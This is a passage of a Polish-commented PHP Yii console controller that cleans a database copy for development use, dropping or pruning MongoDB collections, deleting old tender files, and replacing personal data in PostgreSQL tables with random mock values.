        //czyścimy: import_companies_contact_history
        if(in_array('import_companies_contact_history', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_contact_history', Yii::$app->db->createCommand('SELECT id_case FROM companies_cases'));
        }
        
        //czyścimy: import_companies_correspondence_data
        if(in_array('import_companies_correspondence_data', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_correspondence_data', Yii::$app->db->createCommand('SELECT id_correspondence_data FROM companies_correspondence_data'));
        }
        
        //czyścimy: import_companies_departments
        if(in_array('import_companies_departments', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_departments', Yii::$app->db->createCommand('SELECT id_department FROM companies_departments'));
        }
        
        //czyścimy: import_companies_downloads
        if(in_array('import_companies_downloads', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_downloads', Yii::$app->db->createCommand('SELECT id_download FROM companies_downloads'));
        }
        
        //czyścimy: import_companies_has_operators
        $documents = (new \yii\mongodb\Query())->from('import_companies_has_operators')->select(['_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['target_id'];
                if(!isset($idsCompanies[$id])) {
                    Yii::$app->mongodb->getCollection('import_companies_has_operators')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: import_companies_inquiries
        if(in_array('import_companies_inquiries', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_inquiries', Yii::$app->db->createCommand('SELECT id_inquiry FROM inquiries'));
        }
        
        //czyścimy: import_companies_invoices
        if(in_array('import_companies_invoices', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_invoices', Yii::$app->db->createCommand('SELECT id_invoice FROM invoices'));
        }
        
        //czyścimy: import_companies_invoicing_data
        if(in_array('import_companies_invoicing_data', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_invoicing_data', Yii::$app->db->createCommand('SELECT id_invoicing_data FROM companies_invoicing_data'));
        }
        
        //czyścimy: import_companies_orders
        if(in_array('import_companies_orders', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_orders', Yii::$app->db->createCommand('SELECT id_order FROM companies_orders'));
        }
        
        //czyścimy: import_companies_photogalleries
        if(in_array('import_companies_photogalleries', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_photogalleries', Yii::$app->db->createCommand('SELECT id_gallery FROM companies_photogalleries'));
        }
        
        //czyścimy: import_companies_videogalleries
        if(in_array('import_companies_videogalleries', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_videogalleries', Yii::$app->db->createCommand('SELECT id_gallery FROM companies_videogalleries'));
        }
        
        //czyścimy: import_fairs
        if(in_array('import_fairs', $existsCollections)) {
            $this->clearImportMapCollection('import_fairs', Yii::$app->db->createCommand('SELECT id_fair FROM fairs'));
        }
        
        //czyścimy: import_partners
        if(in_array('import_partners', $existsCollections)) {
            $this->clearImportMapCollection('import_partners', Yii::$app->db->createCommand('SELECT id_partner FROM partners'));
        }
        
        //czyścimy: import_products
        if(in_array('import_products', $existsCollections)) {
            
            $this->clearImportMapCollection('import_products', Yii::$app->db->createCommand('SELECT id_product FROM products'));
        }
        
        //czyścimy: import_products_categories
        if(in_array('import_products_categories', $existsCollections)) {
            $this->clearImportMapCollection('import_products_categories', Yii::$app->db->createCommand('SELECT id_category FROM products_categories'));
        }
        
        //czyścimy: import_publishing_houses
        if(in_array('import_publishing_houses', $existsCollections)) {
            $this->clearImportMapCollection('import_publishing_houses', Yii::$app->db->createCommand('SELECT id_publishing_house FROM publishing_houses'));
        }
        
        //czyścimy: import_tenders
//        $documents = (new \yii\mongodb\Query())->from('import_tenders')->select(['_id', 'target_id'])->where(['status' => 'OK'])->all();
//        if(!empty($documents)) { 
//            $ids = [];
//            $idsTemp = (new \yii\mongodb\Query())->from('tenders')->select(['_id', 'target_id'])->where(['status' => 'OK'])->all();
//            if(!empty($idsTemp)) {
//                foreach($idsTemp as $idTemp) {
//                    $ids[(string)$idTemp] = (string)$idTemp;
//                }
//                unset($idsTemp);
//            }
//            foreach($documents as $document) {
//                $id = (string)$document['target_id'];
//                if(!isset($ids[$id])) {
//                    Yii::$app->mongodb->getCollection('import_tenders')->remove(['_id' => (string)$document['_id']]);
//                }
//            }
//            unset($ids);
//        }
        
        //czyścimy: import_tenders
        $idsTenders = [];
        $query = (new \yii\mongodb\Query())->from('tenders')->select(['_id']);
        foreach($query->each() as $document) {
            $idsTenders[(string)$document['_id']] = (string)$document['_id'];
        }
        $query = (new \yii\mongodb\Query())->from('import_tenders')->select(['_id', 'target_id'])->where(['status' => 'OK']);
        foreach($query->each() as $document) {
            if(!isset($idsTenders[(string)$document['target_id']])) {
                Yii::$app->mongodb->getCollection('import_tenders')->remove(['_id' => (string)$document['_id']]);
            }
        }
        unset($idsTenders);
        
        
        //czyścimy; import_trainings
        if(in_array('import_trainings', $existsCollections)) {
            $this->clearImportMapCollection('import_trainings', Yii::$app->db->createCommand('SELECT id_training FROM trainings'));
        }
        
        //czyścimy; import_users
        $documents = (new \yii\mongodb\Query())->from('import_users')->select(['_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['target_id'];
                if(!isset($idsUsers[$id])) {
                    Yii::$app->mongodb->getCollection('import_users')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: import_vcallcenter_companies
        $documents = (new \yii\mongodb\Query())->from('import_vcallcenter_companies')->select(['_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['target_id'];
                if(!isset($idsCompanies[$id])) {
                    Yii::$app->mongodb->getCollection('import_vcallcenter_companies')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: changed_www
        $query = (new \yii\mongodb\Query())->from('changed_www')->select(['_id', 'id_company']);
        foreach($query->each() as $document) {
            $id = (int)$document['id_company'];
            if(!isset($idsCompanies[$id])) {
                Yii::$app->mongodb->getCollection('changed_www')->remove(['_id' => (string)$document['_id']]);
            }
        }
        
        //czyścimy: inquiries_temporary
        if(in_array('inquiries_temporary', $existsCollections)) {
            Yii::$app->mongodb->getCollection('inquiries_temporary')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        }
        
        //czyścimy: newsletter_signups_activations
        if(in_array('newsletter_signups_activations', $existsCollections)) {
            Yii::$app->mongodb->getCollection('newsletter_signups_activations')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        }
        
        //czyścimy: notifications
        $documents = (new \yii\mongodb\Query())->from('notifications')->select(['_id', 'id_user'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_user'];
                if(!empty($document['id_user']) && !isset($idsUsers[$id])) {
                    Yii::$app->mongodb->getCollection('notifications')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: users_activations
        $documents = (new \yii\mongodb\Query())->from('users_activations')->select(['_id', 'id_user'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_user'];
                if(!isset($idsUsers[$id])) {
                    Yii::$app->mongodb->getCollection('users_activations')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: users_changes
        $documents = (new \yii\mongodb\Query())->from('users_changes')->select(['_id', 'id_user'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_user'];
                if(!isset($idsUsers[$id])) {
                    Yii::$app->mongodb->getCollection('users_changes')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: books_imports_from_allegro
        $documents = (new \yii\mongodb\Query())->from('books_imports_from_allegro')->select(['_id', 'id_company'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_user'];
                if(!isset($idsCompanies[$id])) {
                    Yii::$app->mongodb->getCollection('books_imports_from_allegro')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //usuwamy: vcallcenter_companies_passwords
        if(in_array('vcallcenter_companies_passwords', $existsCollections)) {
            Yii::$app->mongodb->getCollection('vcallcenter_companies_passwords')->drop();
        }
        
        //usuwamy: vortale_users_passwords
        if(in_array('vortale_users_passwords', $existsCollections)) {
            Yii::$app->mongodb->getCollection('vortale_users_passwords')->drop();
        }
        
        //usuwamy: additional_emails
        if(in_array('additional_emails', $existsCollections)) {
            Yii::$app->mongodb->getCollection('additional_emails')->drop();
        }
        
        //usuwamy: additional_emails_logs
        if(in_array('additional_emails_logs', $existsCollections)) {
            Yii::$app->mongodb->getCollection('additional_emails_logs')->drop();
        }
        
        //usuwamy: companies_orders_archive_2
        if(in_array('companies_orders_archive_2', $existsCollections)) {
            Yii::$app->mongodb->getCollection('companies_orders_archive_2')->drop();
        }
        
        //usuwamy: emails_sets @todo do rozważenia
//        Yii::$app->mongodb->getCollection('emails_sets')->drop();
        
        //usuwamy: mailings_shipping
        if(in_array('mailings_shipping', $existsCollections)) {
            Yii::$app->mongodb->getCollection('mailings_shipping')->drop();
        }
        
        //czyścimy: bookstore_shipping_carts
        if(in_array('bookstore_shipping_carts', $existsCollections)) {
            Yii::$app->mongodb->getCollection('bookstore_shipping_carts')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        }
        
        //usuwamy: refresh_companies_emails
        if(in_array('refresh_companies_emails', $existsCollections)) {
            Yii::$app->mongodb->getCollection('refresh_companies_emails')->drop();
        }
        
        //usuwamy: refresh_users_emails
        if(in_array('refresh_users_emails', $existsCollections)) {
            Yii::$app->mongodb->getCollection('refresh_users_emails')->drop();
        }
        
        //usuwamy: articles_changes
        if(in_array('articles_changes', $existsCollections)) {
            Yii::$app->mongodb->getCollection('articles_changes')->drop();
        }
        
        //usuwamy: articles_fix
        if(in_array('articles_fix', $existsCollections)) {
            Yii::$app->mongodb->getCollection('articles_fix')->drop();
        }
        
        //usuwamy: companies_portals_priority
        if(in_array('companies_portals_priority', $existsCollections)) {
            Yii::$app->mongodb->getCollection('companies_portals_priority')->drop();
        }
        
        //usuwamy: companies_presentations_visits_2
        if(in_array('companies_presentations_visits_2', $existsCollections)) {
            Yii::$app->mongodb->getCollection('companies_presentations_visits_2')->drop();
        }
        
        //usuwamy: companies_to_import
        if(in_array('companies_to_import', $existsCollections)) {
            Yii::$app->mongodb->getCollection('companies_to_import')->drop();
        }
        
        //usuwamy: google_indexing_urls (dużo danych, ciężko pousuwać tak, aby była synchronizacja z resztą danych)
        if(in_array('google_indexing_urls', $existsCollections)) {
            Yii::$app->mongodb->getCollection('google_indexing_urls')->drop();
        }
        
        //usuwamy: google_inspect_urls (dużo danych, ciężko pousuwać tak, aby była synchronizacja z resztą danych)
        if(in_array('google_inspect_urls', $existsCollections)) {
            Yii::$app->mongodb->getCollection('google_inspect_urls')->drop();
        }
        
        //usuwamy: google_translations (dane niepotrzebne dla warunków developerskich / testowych)
        if(in_array('google_translations', $existsCollections)) {
            Yii::$app->mongodb->getCollection('google_translations')->drop();
        }
        
        //usuwamy: import_advertisements_categories_trees (to nie ma wykorzystania po imporcie)
        if(in_array('import_advertisements_categories_trees', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_advertisements_categories_trees')->drop();
        }
        
        //usuwamy: import_articles_categories_trees
        if(in_array('import_articles_categories_trees', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_articles_categories_trees')->drop();
        }
        
        //usuwamy: import_companies_categories_trees
        if(in_array('import_companies_categories_trees', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_companies_categories_trees')->drop();
        }
        
        //usuwamy: import_companies_orders_2
        if(in_array('import_companies_orders_2', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_companies_orders_2')->drop();
        }
        
        //usuwamy: import_contractors (to nie ma wykorzystania po imporcie)
        if(in_array('import_contractors', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_contractors')->drop();
        }
        
        //usuwamy: import_mailings_reservations (to nie ma wykorzystania po imporcie)
        if(in_array('import_mailings_reservations', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_mailings_reservations')->drop();
        }
        
        //usuwamy: import_newsletter_deleted_emails (to nie ma wykorzystania po imporcie)
        if(in_array('import_newsletter_deleted_emails', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_newsletter_deleted_emails')->drop();
        }
        
        //usuwamy: import_newsletter_emails (to nie ma wykorzystania po imporcie)
        if(in_array('import_newsletter_emails', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_newsletter_emails')->drop();
        }
        
        //usuwamy: import_portals_cpv (to nie ma wykorzystania po imporcie)
        if(in_array('import_portals_cpv', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_portals_cpv')->drop();
        }
        
        //usuwamy: import_products_categories_trees (to nie ma wykorzystania po imporcie)
        if(in_array('import_products_categories_trees', $existsCollections)) {
            Yii::$app->mongodb->getCollection('import_products_categories_trees')->drop();
        }
        
        //usuwamy: imported_companies_exists (dane niepotrzebne dla warunków developerskich / testowych)
        if(in_array('imported_companies_exists', $existsCollections)) {
            Yii::$app->mongodb->getCollection('imported_companies_exists')->drop();
        }
        
        //usuwamy: inquiries_shipping (dane niepotrzebne dla warunków developerskich / testowych)
        if(in_array('inquiries_shipping', $existsCollections)) {
            Yii::$app->mongodb->getCollection('inquiries_shipping')->drop();
        }
        
        //czyścimy: seo_portals_data_for_generating_articles
        if(in_array('seo_portals_data_for_generating_articles', $existsCollections)) {
            Yii::$app->mongodb->getCollection('seo_portals_data_for_generating_articles')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        }
        
        //usuwamy: users_portals_priority
        if(in_array('users_portals_priority', $existsCollections)) {
            Yii::$app->mongodb->getCollection('users_portals_priority')->drop();
        }
        
        //usuwamy: testowa_kolekcja
        if(in_array('testowa_kolekcja', $existsCollections)) {
            Yii::$app->mongodb->getCollection('testowa_kolekcja')->drop();
        }
    }
    
    public function actionClearTenders()
    {
        if($this->debugMode) {
            return;
        }
        
        //usuwamy zbyteczne przetargi wraz z plikami
        $numberOfDeleted = Yii::$app->mongodb->getCollection('tenders')->remove(['biuletyn' => ['$nin' => $this->selectedTendersYears]]);
        
        $dir = new \DirectoryIterator(Yii::getAlias('@tendersRealPath'));
        foreach($dir as $fileinfo) {
            if(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $dirName = $fileinfo->getFilename();                
                if(!in_array(mb_substr($dirName, 0, 4), $this->selectedTendersYears)) {
                    $this->removeDir($fileinfo->getPathName(), true);
                }                
            }
        }
        unset($dir, $fileinfo);
        
//        $deleted = 0;
//        $ommitted = 0;
//        $documents = (new \yii\mongodb\Query())->from('tenders')->select(['_id', 'dir_html', 'file_html'])->all();
//        foreach($documents as $document) {
//            if(rand(1, 100) > 25) { //usuwamy 3/4 (75%) artykułów
//                Yii::$app->mongodb->getCollection('tenders')->remove(['_id' => (string)$document['_id']]);
//                $filePath = \Yii::getAlias('@tendersRealPath').'/'.$document['dir_html'].'/'.$document['file_html'];
//                if(file_exists($filePath)) {
//                    @unlink($filePath);
//                    $deleted++;
//                }
//                
//            } else {
//                $ommitted++;
//            }
//        }
//        var_dump($deleted.':'.$ommitted);
    }
    
    public function actionMockupPostgresqlDb()
    {
        /*
        + websites_items (cały adres jeśli występuje)
        + users_payments (cały adres + personalia + telefon + email)
        + users_addresses (cały adres)
        + users_contact_data (telefon zwykły, komórkowy, email, fax, skype, fb)
        + users (tutaj tylko imię i nazwisko + login na "user_ID")
        + trainings_dates (cały adres)
        + trainings (imię i nazwisko osoby kontaktowej, telefon, email)
        + shopping_data_to_account (adres)
        + shopping_address_book (imię i nazwisko, adres, telefon, email)
        + operators_has_companies (adresy email)
        + mailings_reservations (testowe adresy email)
        + invoices (nr faktury, adres, personalia, NIP, numery KSEF)
        + invoices_corrective_notes (nr dokumentu, 2x adres, 2x NIP)
        + inquiries (tutaj w kolumnie "sender_data" siedzi adres i personalia)
        + fairs (adres, personalia, adres email, 2x telefon, strona www)
        + companies_orders (adres, personalia, telefon, email, NIP)
        + companies_invoicing_data (całość)
        + companies_goods_returns_terms (adres)
        + companies_employees_contact_data (telefon zwykły, komórkowy, email, fax, skype, fb)
        + companies_employees (imię i nazwisko)
        + companies_departments_contact_data (telefon zwykły, komórkowy, email, fax, skype, fb)
        + companies_correspondence_data (całość)
        + companies_contact_data (telefon zwykły, komórkowy, email, fax, skype, fb)
        + companies_complaints_terms (adres)
        + companies_branches_contact_data (telefon zwykły, komórkowy, email, fax, skype, fb)
        + companies_branches (adres)
        + companies_about_sellers (2xtelefon, email)
        + companies (adres + KRS + REGON)
        + bookstore_orders_returns (nr konta, imię i nazwisko, 2x adres, 
        + bookstore_orders (3x adres, telefon, email, 2xNIP, imię, nazwisko)
        + books_reviews (adres email, nazwa-autor)
        + articles (autor-źródło, firma-źródło, url-źródło, adresy email)
        + advertisements_messages (chyba całe treści zamienić na lorem ipsum)
        + advertisements (adres, personalia, telefon, email)        
         */
        
        $this->fillAddresses();
        $this->fillPersons();
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $ids = Yii::$app->db->createCommand('SELECT id_item FROM websites_items WHERE item_type IN ('.implode(', ', array_map(function($value) { return "'".$value."'"; }, [\common\models\types\WebsiteItemType::ADVERTISEMENT, \common\models\types\WebsiteItemType::FAIR, \common\models\types\WebsiteItemType::TRAINING])).')')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'id_country' => 'PL',
                    'id_region' => $address['id_region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'lat' => $address['lat'],
                    'lng' => $address['lng'],
                ];
                Yii::$app->db->createCommand()->update('websites_items', $fields, 'id_item = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_advertisement FROM advertisements')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'id_country' => 'PL',
                    'id_region' => $address['id_region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'lat' => $address['lat'],
                    'lng' => $address['lng'],
                    'contact_person' => $forename.' '.$surname,
                    'phone' => rand(100000000, 999999999),
                    'email' => $this->getRandomValueForContactDataType(ContactDataType::EMAIL) 
                ];
                Yii::$app->db->createCommand()->update('advertisements', $fields, 'id_advertisement = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        Yii::$app->db->createCommand("UPDATE advertisements_messages SET content = '".$this->loremIpsumShort."'")->execute();
        
        $ids = Yii::$app->db->createCommand('SELECT id_article FROM articles')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'source_company' => $forename.' '.$surname.' - company',
                    'source_author' => $forename.' '.$surname,
                    'source_url' => 'http://www.adres-strony.com',
                    'emails' => '[]' //@todo to '[]' nie działa potem w panelu
                ];
                Yii::$app->db->createCommand()->update('articles', $fields, 'id_article = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_review FROM books_reviews')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'author' => $forename.' '.$surname,
                    'email' => $this->getRandomEmail(rand(10, 20))
                ];
                Yii::$app->db->createCommand()->update('books_reviews', $fields, 'id_review = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_return FROM bookstore_orders_returns')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address_1 = $this->getRandomAddress();
                $address_2 = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'bank_account_number' => rand(10000, 99999).rand(10000, 99999).rand(10000, 99999).rand(10000, 99999).rand(100000, 999999),
                    'purchaser_forename' => $forename,
                    'purchaser_surname' => $surname,                    
                    'purchaser_street' => $address_1['street'],
                    'purchaser_building_number' => $address_1['building_number'],
                    'purchaser_apartment_number' => $address_1['apartment_number'],
                    'purchaser_address_cont' => null,
                    'purchaser_postcode' => $address_1['postcode'],
                    'purchaser_locality' => $address_1['locality'],
                    'purchaser_id_country' => 'PL', 
                    'dealer_street' => $address_2['street'],
                    'dealer_building_number' => $address_2['building_number'],
                    'dealer_apartment_number' => $address_2['apartment_number'],
                    'dealer_postcode' => $address_2['postcode'],
                    'dealer_locality' => $address_2['locality'],
                    'dealer_id_country' => 'PL',
                ];
                Yii::$app->db->createCommand()->update('bookstore_orders_returns', $fields, 'id_return = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_order FROM bookstore_orders')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address_1 = $this->getRandomAddress();
                $address_2 = $this->getRandomAddress();
                $address_3 = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'forename' => $forename,
                    'surname' => $surname,
                    'email' => $this->getRandomEmail(rand(10, 20)),
                    'phone' => rand(100000000, 999999999),
                    'shipping_street' => $address_1['street'],
                    'shipping_building_number' => $address_1['building_number'],
                    'shipping_apartment_number' => $address_1['apartment_number'],
                    'shipping_address_cont' => null,
                    'shipping_postcode' => $address_1['postcode'],
                    'shipping_locality' => $address_1['locality'],
                    'shipping_id_country' => 'PL',                        
                    'invoicing_tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),
                    'invoicing_street' => $address_2['street'],
                    'invoicing_building_number' => $address_2['building_number'],
                    'invoicing_apartment_number' => $address_2['apartment_number'],
                    'invoicing_postcode' => $address_2['postcode'],
                    'invoicing_locality' => $address_2['locality'],
                    'invoicing_id_country' => 'PL',
                    'dealer_tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),
                    'dealer_street' => $address_3['street'],
                    'dealer_building_number' => $address_3['building_number'],
                    'dealer_apartment_number' => $address_3['apartment_number'],
                    'dealer_postcode' => $address_3['postcode'],
                    'dealer_locality' => $address_3['locality'],
                    'dealer_id_country' => 'PL',
                ];
                Yii::$app->db->createCommand()->update('bookstore_orders', $fields, 'id_order = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_company FROM companies')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [
                    'id_country' => 'PL',
                    'region' => $address['region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'address_cont' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'lat' => $address['lat'],
                    'lng' => $address['lng'],
                    'business_registration_number' => rand(100000000, 999999999),
                    'national_court_register_number' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999)
                ];
                Yii::$app->db->createCommand()->update('companies', $fields, 'id_company = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_company FROM companies_about_sellers')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [
                    'first_phone' => rand(100000000, 999999999),
                    'second_phone' => rand(100000000, 999999999),
                    'email' => $this->getRandomEmail(rand(10, 20))
                ];
                Yii::$app->db->createCommand()->update('companies_about_sellers', $fields, 'id_company = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_branch FROM companies_branches')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [
                    'id_country' => 'PL',
                    'region' => $address['region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'address_cont' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'lat' => $address['lat'],
                    'lng' => $address['lng']
                ];
                Yii::$app->db->createCommand()->update('companies_branches', $fields, 'id_branch = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_company FROM companies_complaints_terms')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'id_country' => 'PL',
                    'id_region' => $address['id_region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                ];
                Yii::$app->db->createCommand()->update('companies_complaints_terms', $fields, 'id_company = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_contact_data, data_type FROM companies_branches_contact_data')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $dataValue = $this->getRandomValueForContactDataType($item['data_type']);                
                Yii::$app->db->createCommand()->update('companies_branches_contact_data', ['data_value' => $dataValue], 'id_contact_data = :id', [':id' => $item['id_contact_data']])->execute();
            }
            unset($data);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_contact_data, data_type FROM companies_contact_data')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $dataValue = $this->getRandomValueForContactDataType($item['data_type']);                
                Yii::$app->db->createCommand()->update('companies_contact_data', ['data_value' => $dataValue], 'id_contact_data = :id', [':id' => $item['id_contact_data']])->execute();
            }
            unset($data);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_correspondence_data FROM companies_correspondence_data')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [
                    'id_country' => 'PL',
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'address_cont' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                ];
                Yii::$app->db->createCommand()->update('companies_correspondence_data', $fields, 'id_correspondence_data = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_contact_data, data_type FROM companies_departments_contact_data')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $dataValue = $this->getRandomValueForContactDataType($item['data_type']);                
                Yii::$app->db->createCommand()->update('companies_departments_contact_data', ['data_value' => $dataValue], 'id_contact_data = :id', [':id' => $item['id_contact_data']])->execute();
            }
            unset($data);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_contact_data, data_type FROM companies_departments_contact_data')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $dataValue = $this->getRandomValueForContactDataType($item['data_type']);                
                Yii::$app->db->createCommand()->update('companies_departments_contact_data', ['data_value' => $dataValue], 'id_contact_data = :id', [':id' => $item['id_contact_data']])->execute();
            }
            unset($data);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_employee FROM companies_employees')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'forename' => $forename,
                    'surname' => $surname,
                ];
                Yii::$app->db->createCommand()->update('companies_employees', $fields, 'id_employee = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_contact_data, data_type FROM companies_employees_contact_data')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $dataValue = $this->getRandomValueForContactDataType($item['data_type']);                
                Yii::$app->db->createCommand()->update('companies_employees_contact_data', ['data_value' => $dataValue], 'id_contact_data = :id', [':id' => $item['id_contact_data']])->execute();
            }
            unset($data);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_company FROM companies_goods_returns_terms')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'id_country' => 'PL',
                    'id_region' => $address['id_region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                ];
                Yii::$app->db->createCommand()->update('companies_goods_returns_terms', $fields, 'id_company = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_invoicing_data FROM companies_invoicing_data')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [                     
                    'tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),
                    'street' => $address['street'],
                    'address_cont' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'postcode' => $address['postcode'],
                    'locality' => $address['locality'],
                    'id_country' => 'PL'
                ];
                Yii::$app->db->createCommand()->update('companies_invoicing_data', $fields, 'id_invoicing_data = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_order FROM companies_orders')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'purchaser_street' => $address['street'],
                    'purchaser_address_cont' => null,
                    'purchaser_building_number' => $address['building_number'],
